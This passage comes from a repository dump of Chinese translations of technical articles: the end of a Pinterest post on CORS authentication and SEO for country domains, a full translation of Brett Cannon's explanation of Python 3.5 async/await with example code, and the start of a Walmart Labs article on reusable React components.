无法与 accounts.pinterest.com 通信。 为了解决这个问题,我们使用了跨域资源共享(CORS),它为 web 服务器提供跨域访问控制,以支持数据跨域传输安全。这是通过在数据传输中向 HTTP 请求和响应添加 CORS 特定的(响应)头来完成的,并相应地处理它们。 #### 在握手中使用 CORS 我们通过使用 auth 握手在 [www.pinterest.de](http://www.pinterest.de) 上注册 Pinterest 的简化示例来完成这个过程。首先,客户端指定它要使用用户的凭据向 accounts.pinterest.com 提出跨域请求。此时浏览器会自动向请求中添加一个 Origin header,并指定当前域名。 ![](https://cdn-images-1.medium.com/max/800/0*-pGIuaxTVuwL0Ckm.) 当请求到达服务器时,我们创建访问令牌,并在 accounts.pinterest.com 上进行用户身份验证。一旦用户登录,握手就会在响应中向客户端发回一个自定义令牌。此令牌可交换为 [www.pinterest.de](http://www.pinterest.de) 可用于身份验证的访问令牌。 服务器跟踪所有 ccTLDs 用于身份验证的白名单。在返回响应之前,我们要检查 Origin request 报头值是否已经存在于白名单中。如果是这样,服务器将添加特殊的 CORS 响应报头。这些报头中最重要的是 Access-Control-Allow-Origin,该报头的存在将向客户端发出是否允许跨域传输的询问信息。 ![](https://cdn-images-1.medium.com/max/800/0*3AzyMrdmfwNNLXux.) 当客户端接受到响应时,它会看到 Access-Control-Allow-Origin 的报头值“https://www.pinterest.de”。因为这和客户端同源,所以会继续处理响应。自定义令牌被检索并用于获取访问令牌,允许用户登录 [www.pinterest.de.](http://www.pinterest.de)。 ![](https://cdn-images-1.medium.com/max/800/0*p3ob8BR1Q6b4vY72.) 您可以在[ Mozilla 官方文档](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)中阅读到更多关于跨域资源共享和这些请求所涉及的所有抱头内容。 #### 通过 SEO 提高可发现性 一旦我们建立了新的本地域名,下一步就是帮助它们更容易被发现。引导通信量的最简单方法之一是实现对新域名的重定向。在适合情况下,我们使用永久性 (301) 重定向,从旧的现有国家子域名重定向到新的相关 ccTLDs (例如 de.pinterest.com → [www.pinterest.de).](http://www.pinterest.de%29)。使用永久性重定向允许我们将旧域名上的大部分网页排名和权限转移到新的域名中。 我们还使用了一些间接方法来提高新的 ccTLDs 流量质量。Hreflangs 是可以包含在网页标记中的属性,用于告诉爬虫关于其不同语言版本的信息。当搜索引擎看到这个标记时,他们会根据搜索者的区域设置显示与本地相关的页面。我们还使用名为 sitemaps 的文件来帮助提高搜索引擎爬行站点的效率和速度。Sitemaps 是用来列出您网站的网页并告诉搜索引擎您的内容组织结构的文件。通过将这些文件直接提供给搜索机器人,它们可以更容易地找到新的内容来进行爬取和排序。 ### 结论 到目前为止,我们已经观察到在我们推出的国家,流量有了积极的增长,点击率和浏览量也有所增加。在这个过程中,一个更有趣的发现是我们可以索引更多的页面,因为不同的顶级域名为搜索机器人打开了一个单独的“爬行预算”。 展望未来,我们将继续在 ccTLDs 中为我们的国际内容投资,并正研究进一步增强 accounts.pinterest.com 作为所有 Pinterest 属性中心的认证中心。 * * * ![](https://cdn-images-1.medium.com/max/800/1*VS-SIyipZqIIfQYxAvva3A.png) **鸣谢: Devin Lundberg, Josh Enders, Sam Meder, Jess Males, Evan Jones, Jeff Avery, Grey Skold, Julie Trier, Vadim Antonov, Kynan Lalone, Evelyn Obamos 和 International 团队** --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-the-heck-does-async-await-work-in-python-3-5.md ================================================ >* 原文链接 : [How the heck does async/await work in Python 3.5?](http://www.snarky.ca/how-the-heck-does-async-await-work-in-python-3-5) * 原文作者 : [Brett Cannon](http://www.snarky.ca/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Yushneng](https://github.com/rainyear) * 校对者: [L9m](https://github.com/L9m),[joyking7](https://github.com/joyking7) # Python3.5 协程原理 作为 [Python](https://www.python.org/) 核心开发者之一,让我很想了解这门语言是如何运作的。我发现总有一些阴暗的角落我对其中错综复杂的细节不是很清楚,但是为了能够有助于 Python 的一些问题和其整体设计,我觉得我应该试着去理解 Python 的核心语法和内部运作机制。 但是直到最近我才理解[ Python 3.5 中 `async`/`await`](https://docs.python.org/3/whatsnew/3.5.html#whatsnew-pep-492) 的原理。我知道[ Python 3.3 中的 `yield from`](https://docs.python.org/3/whatsnew/3.3.html#pep-380) 和 [Python 3.4 中的 `asyncio`](https://docs.python.org/3/library/asyncio.html#module-asyncio) 组合得来这一新语法。但较少处理网络相关的问题 - `asyncio` 并不仅限于此但确是重要用途 - 使我没太注意 `async`/`await` 。我知道: yield from iterator (本质上)相当于: for x in iterator: yield x 我知道 `asyncio` 是事件循环框架可以进行异步编程,但是我只是知道这里面每个单词的意思而已,从没深入研究 `async`/`await` 语法组合背后的原理,我发现不理解 Python 中的异步编程已经对我造成了困扰。因此我决定花时间弄清楚这背后的原理究竟是什么。我从很多人那里得知他们也不了解异步编程的原理,因此我决定写这篇论文(是的,由于这篇文章花费时间之久以及篇幅之长,我的妻子已经将其定义为一篇论文)。 由于我想要正确地理解这些语法的原理,这篇文章涉及到一些关于 CPython 较为底层的技术细节。如果这些细节超出了你想了解的内容,或者你不能完全理解它们,都没关系,因为我为了避免这篇文章演变成一本书那么长,省略了一些 CPython 内部的细枝末节(比如说,如果你不知道 code object 有 flags,甚至不知道什么是 code object,这都没关系,也不用一定要从这篇文字中获得什么)。我试着在最后一小节中用更直接的方法做了总结,如果觉得文章对你来说细节太多,你完全可以跳过。 ## 关于 Python 协程的历史课 根据[维基百科](https://www.wikipedia.org/)给出的定义,“[协程](https://en.wikipedia.org/wiki/Coroutine) 是为非抢占式多任务产生子程序的计算机程序组件,协程允许不同入口点在不同位置暂停或开始执行程序”。从技术的角度来说,“协程就是你可以暂停执行的函数”。如果你把它理解成“就像生成器一样”,那么你就想对了。 退回到 [Python 2.2](https://docs.python.org/3/whatsnew/2.2.html),生成器第一次在[PEP 255](https://www.python.org/dev/peps/pep-0255/)中提出(那时也把它成为迭代器,因为它实现了[迭代器协议](https://docs.python.org/3/library/stdtypes.html#iterator-types))。主要是受到[Icon编程语言](http://www.cs.arizona.edu/icon/)的启发,生成器允许创建一个在计算下一个值时不会浪费内存空间的迭代器。例如你想要自己实现一个 `range()` 函数,你可以用立即计算的方式创建一个整数列表: def eager_range(up_to): """Create a list of integers, from 0 to up_to, exclusive.""" sequence = [] index = 0 while index < up_to: sequence.append(index) index += 1 return sequence 然而这里存在的问题是,如果你想创建从0到1,000,000这样一个很大的序列,你不得不创建能容纳1,000,000个整数的列表。但是当加入了生成器之后,你可以不用创建完整的序列,你只需要能够每次保存一个整数的内存即可。 def lazy_range(up_to): """Generator to return the sequence of integers from 0 to up_to, exclusive.""" index = 0 while index < up_to: yield index index += 1 让函数遇到 `yield` 表达式时暂停执行 - 虽然在 Python 2.5 以前它只是一条语句 - 并且能够在后面重新执行,这对于减少内存使用、生成无限序列非常有用。 你有可能已经发现,生成器完全就是关于迭代器的。有一种更好的方式生成迭代器当然很好(尤其是当你可以给一个生成器对象添加 `__iter__()` 方法时),但是人们知道,如果可以利用生成器“暂停”的部分,添加“将东西发送回生成器”的功能,那么 Python 突然就有了协程的概念(当然这里的协程仅限于 Python 中的概念;Python 中真实的协程在后面才会讨论)。将东西发送回暂停了的生成器这一特性通过 [PEP 342](https://www.python.org/dev/peps/pep-0342/)添加到了 [Python 2.5](https://docs.python.org/3/whatsnew/2.5.html)。与其它特性一起,PEP 342 为生成器引入了 `send()` 方法。这让我们不仅可以暂停生成器,而且能够传递值到生成器暂停的地方。还是以我们的 `range()` 为例,你可以让序列向前或向后跳过几个值: def jumping_range(up_to): """Generator for the sequence of integers from 0 to up_to, exclusive. Sending a value into the generator will shift the sequence by that amount. """ index = 0 while index < up_to: jump = yield index if jump is None: jump = 1 index += jump if __name__ == '__main__': iterator = jumping_range(5) print(next(iterator)) # 0 print(iterator.send(2)) # 2 print(next(iterator)) # 3 print(iterator.send(-1)) # 2 for x in iterator: print(x) # 3, 4 直到[PEP 380](https://www.python.org/dev/peps/pep-0380/) 为 [Python 3.3](https://docs.python.org/3/whatsnew/3.3.html) 添加了 `yield from`之前,生成器都没有变动。严格来说,这一特性让你能够从迭代器(生成器刚好也是迭代器)中返回任何值,从而可以干净利索的方式重构生成器。 def lazy_range(up_to): """Generator to return the sequence of integers from 0 to up_to, exclusive.""" index = 0 def gratuitous_refactor(): while index < up_to: yield index index += 1 yield from gratuitous_refactor() `yield from` 通过让重构变得简单,也让你能够将生成器串联起来,使返回值可以在调用栈中上下浮动,而不需对编码进行过多改动。 def bottom(): # Returning the yield lets the value that goes up the call stack to come right back # down. return (yield 42) def middle(): return (yield from bottom()) def top(): return (yield from middle()) # Get the generator. gen = top() value = next(gen) print(value) # Prints '42'. try: value = gen.send(value * 2) except StopIteration as exc: value = exc.value print(value) # Prints '84'. ## 总结 Python 2.2 中的生成器让代码执行过程可以暂停。Python 2.5 中可以将值返回给暂停的生成器,这使得 Python 中协程的概念成为可能。加上 Python 3.3 中的 `yield from`,使得重构生成器与将它们串联起来都很简单。 ## 什么是事件循环? 如果你想了解 `async`/`await`,那么理解什么是事件循环以及它是如何让异步编程变为可能就相当重要了。如果你曾做过 GUI 编程 - 包括网页前端工作 - 那么你已经和事件循环打过交道。但是由于异步编程的概念作为 Python 语言结构的一部分还是最近才有的事,你刚好不知道什么是事件循环也很正常。 回到维基百科,[事件循环](https://en.wikipedia.org/wiki/Event_loop) “是一种等待程序分配事件或消息的编程架构”。基本上来说事件循环就是,“当A发生时,执行B”。或许最简单的例子来解释这一概念就是用每个浏览器中都存在的JavaScript事件循环。当你点击了某个东西(“当A发生时”),这一点击动作会发送给JavaScript的事件循环,并检查是否存在注册过的 `onclick` 回调来处理这一点击(“执行B”)。只要有注册过的回调函数就会伴随点击动作的细节信息被执行。事件循环被认为是一种循环是因为它不停地收集事件并通过循环来发如何应对这些事件。 对 Python 来说,用来提供事件循环的 `asyncio` 被加入标准库中。`asyncio` 重点解决网络服务中的问题,事件循环在这里将来自套接字(socket)的 I/O 已经准备好读和/或写作为“当A发生时”(通过[`selectors`模块](https://docs.python.org/3/library/selectors.html#module-selectors))。除了 GUI 和 I/O,事件循环也经常用于在别的线程或子进程中执行代码,并将事件循环作为调节机制(例如,[合作式多任务](https://en.wikipedia.org/wiki/Cooperative_multitasking))。如果你恰好理解 Python 的 GIL,事件循环对于需要释放 GIL 的地方很有用。 ## 总结 事件循环提供一种循环机制,让你可以“在A发生时,执行B”。基本上来说事件循环就是监听当有什么发生时,同时事件循环也关心这件事并执行相应的代码。Python 3.4 以后通过标准库 `asyncio` 获得了事件循环的特性。 ## `async` 和 `await` 是如何运作的 ## Python 3.4 中的方式 在 Python 3.3 中出现的生成器与之后以 `asyncio` 的形式出现的事件循环之间,Python 3.4 通过[并发编程](https://en.wikipedia.org/wiki/Concurrent_computing)的形式已经对异步编程有了足够的支持。_异步编程_简单来说就是代码执行的顺序在程序运行前是未知的(因此才称为异步而非同步)。_并发编程_是代码的执行不依赖于其他部分,即便是全都在同一个线程内执行([并发**不是**并行](http://blog.golang.org/concurrency-is-not-parallelism))。例如,下面 Python 3.4 的代码分别以异步和并发的函数调用实现按秒倒计时。 import asyncio # Borrowed from http://curio.readthedocs.org/en/latest/tutorial.html. @asyncio.coroutine def countdown(number, n): while n > 0: print('T-minus', n, '({})'.format(number)) yield from asyncio.sleep(1) n -= 1 loop = asyncio.get_event_loop() tasks = [ asyncio.ensure_future(countdown("A", 2)), asyncio.ensure_future(countdown("B", 3))] loop.run_until_complete(asyncio.wait(tasks)) loop.close() Python 3.4 中,[`asyncio.coroutine` 修饰器](https://docs.python.org/3/library/asyncio-task.html#asyncio.coroutine)用来标记作为[协程](https://docs.python.org/3/reference/datamodel.html?#coroutine-objects)的函数,这里的协程是和`asyncio`及其事件循环一起使用的。这赋予了 Python 第一个对于协程的明确定义:实现了[PEP 342](https://www.python.org/dev/peps/pep-0342/)添加到生成器中的这一方法的对象,并通过[`collections.abc.Coroutine`这一抽象基类]表征的对象。这意味着突然之间所有实现了协程接口的生成器,即便它们并不是要以协程方式应用,都符合这一定义。为了修正这一点,`asyncio` 要求所有要用作协程的生成器必须[由`asyncio.coroutine`修饰](https://docs.python.org/3/library/asyncio-task.html#asyncio.coroutine)。 有了对协程明确的定义(能够匹配生成器所提供的API),你可以对任何[`asyncio.Future`对象](https://docs.python.org/3/library/asyncio-task.html#future)使用 `yield from`,从而将其传递给事件循环,暂停协程的执行来等待某些事情的发生( future 对象并不重要,只是`asyncio`细节的实现)。一旦 future 对象获取了事件循环,它会一直在那里监听,直到完成它需要做的一切。当 future 完成自己的任务之后,事件循环会察觉到,暂停并等待在那里的协程会通过`send()`方法获取future对象的返回值并开始继续执行。 以上面的代码为例。事件循环启动每一个 `countdown()` 协程,一直执行到遇见其中一个协程的 `yield from` 和 `asyncio.sleep()` 。这样会返回一个 `asyncio.Future`对象并将其传递给事件循环,同时暂停这一协程的执行。事件循环会监控这一future对象,直到倒计时1秒钟之后(同时也会检查其它正在监控的对象,比如像其它协程)。1秒钟的时间一到,事件循环会选择刚刚传递了future对象并暂停了的 `countdown()` 协程,将future对象的结果返回给协程,然后协程可以继续执行。这一过程会一直持续到所有的 `countdown()` 协程执行完毕,事件循环也被清空。稍后我会给你展示一个完整的例子,用来说明协程/事件循环之类的这些东西究竟是如何运作的,但是首先我想要解释一下`async`和`await`。 ## Python 3.5 从 `yield from` 到 `await` 在 Python 3.4 中,用于异步编程并被标记为协程的函数看起来是这样的: # This also works in Python 3.5. @asyncio.coroutine def py34_coro(): yield from stuff() Python 3.5 添加了[`types.coroutine` 修饰器](https://docs.python.org/3/library/types.html#types.coroutine),也可以像 `asyncio.coroutine` 一样将生成器标记为协程。你可以用 `async def` 来定义一个协程函数,虽然这个函数不能包含任何形式的 `yield` 语句;只有 `return` 和 `await` 可以从协程中返回值。 async def py35_coro(): await stuff() 虽然 `async` 和 `types.coroutine` 的关键作用在于巩固了协程的定义,但是它将协程从一个简单的接口变成了一个实际的类型,也使得一个普通生成器和用作协程的生成器之间的差别变得更加明确([`inspect.iscoroutine()` 函数](https://docs.python.org/3/library/inspect.html#inspect.iscoroutine) 甚至明确规定必须使用 `async` 的方式定义才行)。 你将发现不仅仅是 `async`,Python 3.5 还引入 `await` 表达式(只能用于`async def`中)。虽然`await`的使用和`yield from`很像,但`await`可以接受的对象却是不同的。`await` 当然可以接受协程,因为协程的概念是所有这一切的基础。但是当你使用 `await` 时,其接受的对象必须是[_awaitable_ 对象](https://docs.python.org/3/reference/datamodel.html?#awaitable-objects):必须是定义了`__await__()`方法且这一方法必须返回一个**不是**协程的迭代器。协程本身也被认为是 awaitable 对象(这也是`collections.abc.Coroutine` 继承 `collections.abc.Awaitable`的原因)。这一定义遵循 Python 将大部分语法结构在底层转化成方法调用的传统,就像 `a + b` 实际上是`a.__add__(b)` 或者 `b.__radd__(a)`。 `yield from` 和 `await` 在底层的差别是什么(也就是`types.coroutine`与`async def`的差别)?让我们看一下上面两则Python 3.5代码的例子所产生的字节码在本质上有何差异。`py34_coro()`的字节码是: >>> dis.dis(py34_coro) 2 0 LOAD_GLOBAL 0 (stuff) 3 CALL_FUNCTION 0 (0 positional, 0 keyword pair) 6 GET_YIELD_FROM_ITER 7 LOAD_CONST 0 (None) 10 YIELD_FROM 11 POP_TOP 12 LOAD_CONST 0 (None) 15 RETURN_VALUE `py35_coro()`的字节码是: >>> dis.dis(py35_coro) 1 0 LOAD_GLOBAL 0 (stuff) 3 CALL_FUNCTION 0 (0 positional, 0 keyword pair) 6 GET_AWAITABLE 7 LOAD_CONST 0 (None) 10 YIELD_FROM 11 POP_TOP 12 LOAD_CONST 0 (None) 15 RETURN_VALUE 忽略由于`py34_coro()`的`asyncio.coroutine` 修饰器所带来的行号的差别,两者之间唯一可见的差异是[`GET_YIELD_FROM_ITER`操作码](https://docs.python.org/3/library/dis.html#opcode-GET_YIELD_FROM_ITER) 对比[`GET_AWAITABLE`操作码](https://docs.python.org/3/library/dis.html#opcode-GET_AWAITABLE)。两个函数都被标记为协程,因此在这里没有差别。`GET_YIELD_FROM_ITER` 只是检查参数是生成器还是协程,否则将对其参数调用`iter()`方法(只有用在协程内部的时候`yield from`所对应的操作码才可以接受协程对象,在这个例子里要感谢`types.coroutine`修饰符将这个生成器在C语言层面标记为`CO_ITERABLE_COROUTINE`)。 但是 `GET_AWAITABLE`的做法不同,其字节码像`GET_YIELD_FROM_ITER`一样接受协程,但是**不**接受没有被标记为协程的生成器。就像前面讨论过的一样,除了协程以外,这一字节码还可以接受_awaitable_对象。这使得`yield from`和`await`表达式都接受协程但分别接受一般的生成器和awaitable对象。 你可能会想,为什么基于`async`的协程和基于生成器的协程会在对应的暂停表达式上面有所不同?主要原因是出于最优化Python性能的考虑,确保你不会将刚好有同样API的不同对象混为一谈。由于生成器默认实现协程的API,因此很有可能在你希望用协程的时候错用了一个生成器。而由于并不是所有的生成器都可以用在基于协程的控制流中,你需要避免错误地使用生成器。但是由于 Python 并不是静态编译的,它最好也只能在用基于生成器定义的协程时提供运行时检查。这意味着当用`types.coroutine`时,Python 的编译器将无法判断这个生成器是用作协程还是仅仅是普通的生成器(记住,仅仅因为`types.coroutine`这一语法的字面意思,并不意味着在此之前没有人做过`types = spam`的操作),因此编译器只能基于当前的情况生成有着不同限制的操作码。 关于基于生成器的协程和`async`定义的协程之间的差异,我想说明的关键点是只有基于生成器的协程可以真正的暂停执行并强制性返回给事件循环。你可能不了解这些重要的细节,因为通常你调用的像是[`asyncio.sleep()` function](https://docs.python.org/3/library/asyncio-task.html#asyncio.sleep) 这种事件循环相关的函数,由于事件循环实现他们自己的API,而这些函数会处理这些小的细节。对于我们绝大多数人来说,我们只会跟事件循环打交道,而不需要处理这些细节,因此可以只用`async`定义的协程。但是如果你和我一样好奇为什么不能在`async`定义的协程中使用`asyncio.sleep()`,那么这里的解释应该可以让你顿悟。 ### 总结 让我们用简单的话来总结一下。用`async def`可以定义得到_协程_。定义协程的另一种方式是通过`types.coroutine`修饰器 -- 从技术实现的角度来说就是添加了 `CO_ITERABLE_COROUTINE`标记 -- 或者是`collections.abc.Coroutine`的子类。你只能通过基于生成器的定义来实现协程的暂停。 _awaitable 对象_要么是一个协程要么是一个定义了`__await__()`方法的对象 -- 也就是`collections.abc.Awaitable` -- 且`__await__()`必须返回一个不是协程的迭代器。`await`表达式基本上与`yield from`相同但只能接受awaitable对象(普通迭代器不行)。`async`定义的函数要么包含`return`语句 -- 包括所有Python函数缺省的`return None` -- 和/或者 `await`表达式(`yield`表达式不行)。`async`函数的限制确保你不会将基于生成器的协程与普通的生成器混合使用,因为对这两种生成器的期望是非常不同的。 ## 将 `async`/`await` 看做异步编程的 API 我想要重点指出的地方实际上在我看[David Beazley's Python Brasil 2015 keynote](https://www.youtube.com/watch?v=lYe8W04ERnY)之前还没有深入思考过。在他的演讲中,David 指出 `async`/`await` 实际上是异步编程的 API ([他在 Twitter 上向我重申过](https://twitter.com/dabeaz/status/696028946220056576))。David 的意思是人们不应该将`async`/`await`等同于`asyncio`,而应该将`asyncio`看作是一个利用`async`/`await` API 进行异步编程的框架。 David 将 `async`/`await` 看作是异步编程的API创建了 [`curio` 项目](https://pypi.python.org/pypi/curio)来实现他自己的事件循环。这帮助我弄清楚 `async`/`await` 是 Python 创建异步编程的原料,同时又不会将你束缚在特定的事件循环中也无需与底层的细节打交道(不像其他编程语言将事件循环直接整合到语言中)。这允许像 `curio` 一样的项目不仅可以在较低层面上拥有不同的操作方式(例如 `asyncio` 利用 future 对象作为与事件循环交流的 API,而 `curio` 用的是元组),同时也可以集中解决不同的问题,实现不同的性能特性(例如 `asyncio` 拥有一整套框架来实现运输层和协议层,从而使其变得可扩展,而 `curio` 只是简单地让用户来考虑这些但同时也让它运行地更快)。 考虑到 Python 异步编程的(短暂)历史,可以理解人们会误认为 `async`/`await` == `asyncio`。我是说`asyncio`帮助我们可以在 Python 3.4 中实现异步编程,同时也是 Python 3.5 中引入`async`/`await`的推动因素。但是`async`/`await` 的设计意图就是为了让其足够灵活从而**不需要**依赖`asyncio`或者仅仅是为了适应这一框架而扭曲关键的设计决策。换句话说,`async`/`await` 延续了 Python 设计尽可能灵活的传统同时又非常易于使用(实现)。 ## 一个例子 到这里你的大脑可能已经灌满了新的术语和概念,导致你想要从整体上把握所有这些东西是如何让你可以实现异步编程的稍微有些困难。为了帮助你让这一切更加具体化,这里有一个完整的(伪造的)异步编程的例子,将代码与事件循环及其相关的函数一一对应起来。这个例子里包含的几个协程,代表着火箭发射的倒计时,并且看起来是同时开始的。这是通过并发实现的异步编程;3个不同的协程将分别独立运行,并且都在同一个线程内完成。 import datetime import heapq import types import time class Task: """Represent how long a coroutine should before starting again. Comparison operators are implemented for use by heapq. Two-item tuples unfortunately don't work because when the datetime.datetime instances are equal, comparison falls to the coroutine and they don't implement comparison methods, triggering an exception. Think of this as being like asyncio.Task/curio.Task. """ def __init__(self, wait_until, coro): self.coro = coro self.waiting_until = wait_until def __eq__(self, other): return self.waiting_until == other.waiting_until def __lt__(self, other): return self.waiting_until < other.waiting_until class SleepingLoop: """An event loop focused on delaying execution of coroutines. Think of this as being like asyncio.BaseEventLoop/curio.Kernel. """ def __init__(self, *coros): self._new = coros self._waiting = [] def run_until_complete(self): # Start all the coroutines. for coro in self._new: wait_for = coro.send(None) heapq.heappush(self._waiting, Task(wait_for, coro)) # Keep running until there is no more work to do. while self._waiting: now = datetime.datetime.now() # Get the coroutine with the soonest resumption time. task = heapq.heappop(self._waiting) if now < task.waiting_until: # We're ahead of schedule; wait until it's time to resume. delta = task.waiting_until - now time.sleep(delta.total_seconds()) now = datetime.datetime.now() try: # It's time to resume the coroutine. wait_until = task.coro.send(now) heapq.heappush(self._waiting, Task(wait_until, task.coro)) except StopIteration: # The coroutine is done. pass @types.coroutine def sleep(seconds): """Pause a coroutine for the specified number of seconds. Think of this as being like asyncio.sleep()/curio.sleep(). """ now = datetime.datetime.now() wait_until = now + datetime.timedelta(seconds=seconds) # Make all coroutines on the call stack pause; the need to use `yield` # necessitates this be generator-based and not an async-based coroutine. actual = yield wait_until # Resume the execution stack, sending back how long we actually waited. return actual - now async def countdown(label, length, *, delay=0): """Countdown a launch for `length` seconds, waiting `delay` seconds. This is what a user would typically write. """ print(label, 'waiting', delay, 'seconds before starting countdown') delta = await sleep(delay) print(label, 'starting after waiting', delta) while length: print(label, 'T-minus', length) waited = await sleep(1) length -= 1 print(label, 'lift-off!') def main(): """Start the event loop, counting down 3 separate launches. This is what a user would typically write. """ loop = SleepingLoop(countdown('A', 5), countdown('B', 3, delay=2), countdown('C', 4, delay=1)) start = datetime.datetime.now() loop.run_until_complete() print('Total elapsed time is', datetime.datetime.now() - start) if __name__ == '__main__': main() 就像我说的,这是伪造出来的,但是如果你用 Python 3.5 去运行,你会发现这三个协程在同一个线程内独立运行,并且总的运行时间大约是5秒钟。你可以将`Task`,`SleepingLoop`和`sleep()`看作是事件循环的提供者,就像`asyncio`和`curio`所提供给你的一样。对于一般的用户来说,只有`countdown()`和`main()`函数中的代码才是重要的。正如你所见,`async`和`await`或者是这整个异步编程的过程并没什么黑科技;只不过是 Python 提供给你帮助你更简单地实现这类事情的API。 ## 我对未来的希望和梦想 现在我理解了 Python 中的异步编程是如何运作的了,我想要一直用它!这是如此绝妙的概念,比你之前用过的线程好太多了。但是问题在于 Python 3.5 还太新了,`async`/`await`也太新了。这意味着还没有太多库支持这样的异步编程。例如,为了实现 HTTP 请求你要么不得不自己徒手构建 ,要么用像是 [`aiohttp` 之类的框架](https://pypi.python.org/pypi/aiohttp) 将 HTTP 添加在另外一个事件循环的顶端,或者寄希望于更多像[`hyper` 库](https://pypi.python.org/pypi/hyper)一样的项目不停涌现,可以提供对于 HTTP 之类的抽象,可以让你随便用任何 I/O 库 来实现你的需求(虽然可惜的是 `hyper`目前只支持 HTTP/2)。 对于我个人来说,我希望更多像`hyper`一样的项目可以脱颖而出,这样我们就可以在从 I/O中读取与解读二进制数据之间做出明确区分。这样的抽象非常重要,因为Python多数 I/O 库中处理 I/O 和处理数据是紧紧耦合在一起的。[Python 的标准库 `http`](https://docs.python.org/3/library/http.html#module-http)就有这样的问题,它不提供 HTTP解析而只有一个连接对象为你处理所有的 I/O。而如果你寄希望于`requests`可以支持异步编程,[那你的希望已经破灭了](https://github.com/kennethreitz/requests/issues/2801),因为 `requests` 的同步 I/O 已经烙进它的设计中了。Python 在网络堆栈上很多层都缺少抽象定义,异步编程能力的改进使得 Python 社区有机会对此作出修复。我们可以很方便地让异步代码像同步一样执行,这样一些填补异步编程空白的工具可以安全地运行在两种环境中。 我希望 Python 可以让 `async` 协程支持 `yield`。或者需要用一个新的关键词来实现(可能像 `anticipate`之类?),因为不能仅靠`async`就实现事件循环让我很困扰。幸运的是,[我不是唯一一个这么想的人](https://twitter.com/dabeaz/status/696014754557464576),而且[PEP 492](https://www.python.org/dev/peps/pep-0492/)的作者也和我意见一致,我觉得还是有机会可以移除掉这点小瑕疵。 ## 结论 基本上 `async` 和 `await` 产生神奇的生成器,我们称之为协程,同时需要一些额外的支持例如 awaitable 对象以及将普通生成器转化为协程。所有这些加到一起来支持并发,这样才使得 Python 更好地支持异步编程。相比类似功能的线程,这是一个更妙也更简单的方法。我写了一个完整的异步编程例子,算上注释只用了不到100行 Python 代码 -- 但仍然非常灵活与快速([curio FAQ](http://curio.readthedocs.org/en/latest/#questions-and-answers) 指出它比 `twisted` 要快 30-40%,但是要比 `gevent` 慢 10-15%,而且全部都是有纯粹的 Python 实现的;记住[Python 2 + Twisted 内存消耗更少同时比Go更容易调试](https://news.ycombinator.com/item?id=10402307),想象一下这些能帮你实现什么吧!)。我非常高兴这些能够在 Python 3 中成为现实,我也非常期待 Python 社区可以接纳并将其推广到各种库和框架中区,可以使我们都能够受益于 Python 异步编程带来的好处! ================================================ FILE: TODO/how-to-achieve-reusability-with-react-components.md ================================================ > * 原文地址:[How to Achieve Reusability with React Components](https://medium.com/walmartlabs/how-to-achieve-reusability-with-react-components-81edeb7fb0e0#.czocsk5l0) * 原文作者:[Alex Grigoryan](https://medium.com/@lexgrigoryan?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[aleen42](https://github.com/aleen42) * 校对者:[vuuihc](https://github.com/vuuihc)、[sqrthree](https://github.com/sqrthree)、[xiaoheiai4719](https://github.com/xiaoheiai4719) # 如何实现 React 组件的可复用性 # 可复用性一词是当今软件工程领域上最为常见的流行词之一。可复用性早已成为大量不同框架、工具乃至模型都需要承诺的一种特性,且每一个所实现的方式与对该特性的诠释都各不相同。 ### 那么,可复用性到底指的是什么? ### 真正的可复用性指的并非是一种特定的流程,而是一个开发策略。因而,在构建可复用组件时,开发者必须得把可复用性牢记在脑海里。因为,这将涉及到无比细致的规划及善解人意的 API 设计。再者,既然可复用性早已被现代的开发工具与框架所支持且倡导,那么我们就不能仅仅通过单一的技术手段去实现该特性 —— 而需要开发团队之间的一致实现过程以及一个机构(Organizations)所有层面上的技术约定。 因此,当我们谈及可复用性时,这并不仅仅只是一场技术性的讨论。相反,它往往还会综合有公司的文化、培训以及其他很多的要素。其中部分的要素还会在本文中所触及,可关键点在于**可复用性是一个会触及到方方面面的过程,包括开发的各个阶段与一个机构中的各个层面。** 由于沃尔玛(Walmart)公司旗下包含有若干个品牌,其中包括山姆俱乐部(Sam’s Club)、阿斯达(Asda)以及一些地区分支,如沃尔玛(加拿大)与沃尔玛(巴西)等,因此,大量的前端应用会穿插在不同的品牌之间运行且由上百名开发者进行构建与维护。 也正是因为每一个品牌都会拥有着属于自己的线上品牌容貌,且开发者往往需要在一个所有沃尔玛品牌都共通的组件上工作 —— 例如,图片轮播(Image Carousel)、像面包屑(Bread Crumbs)的导航式元素、弹框和信用卡 Form 组件等。因而,往往就会存在有重复工作的现象。可众所周知的是,重复地去完成别人已完成的事情只是在浪费时间与金钱,且会增加问题所出现的机率。因此,只要能消除这样的重复性工作,开发者就能把更多的时间花费在用户体验的提升上面。 当然,也许你会说对于后端来说,在不同的品牌间共享代码会使得事情变得更为直观:即一个单一的服务器能处理来自不同品牌的多个请求,并返回对应品牌的精确数据(基于数据形式的处理方法并非只有一个)。可你是否曾想到,对于前端来说,这样的情况就会变得更为复杂。因为这将涉及到对后端所提供的数据进行提取,并把主题及其他信息准确地应用到一个特定的品牌和视图上。所以,共享代码尽管能促进组件的复用,但这并不能完全地去解决问题。 ### @沃尔玛实验室(@WalmartLabs)对 React 组件的复用 ### 关于网站 Walmart.com 的构建,React 是我们当初所选择的前端框架。至于为何作出这样的抉择,其中一个原因在于其组件模型能为代码的复用提供一个好的起始点,尤其是当我们需要结合 Redux 来管理 State。尽管如此,Walmart 的体量对前端代码的复用仍然会带有显著的挑战。 ### 共享代码的技术可能性 ### 共享代码所涉及的首个技术挑战是 —— 组件需要能被版本化,且易于安装及升级。对此,我们会把所有的 React 组件放置在一个分离的 GitHub 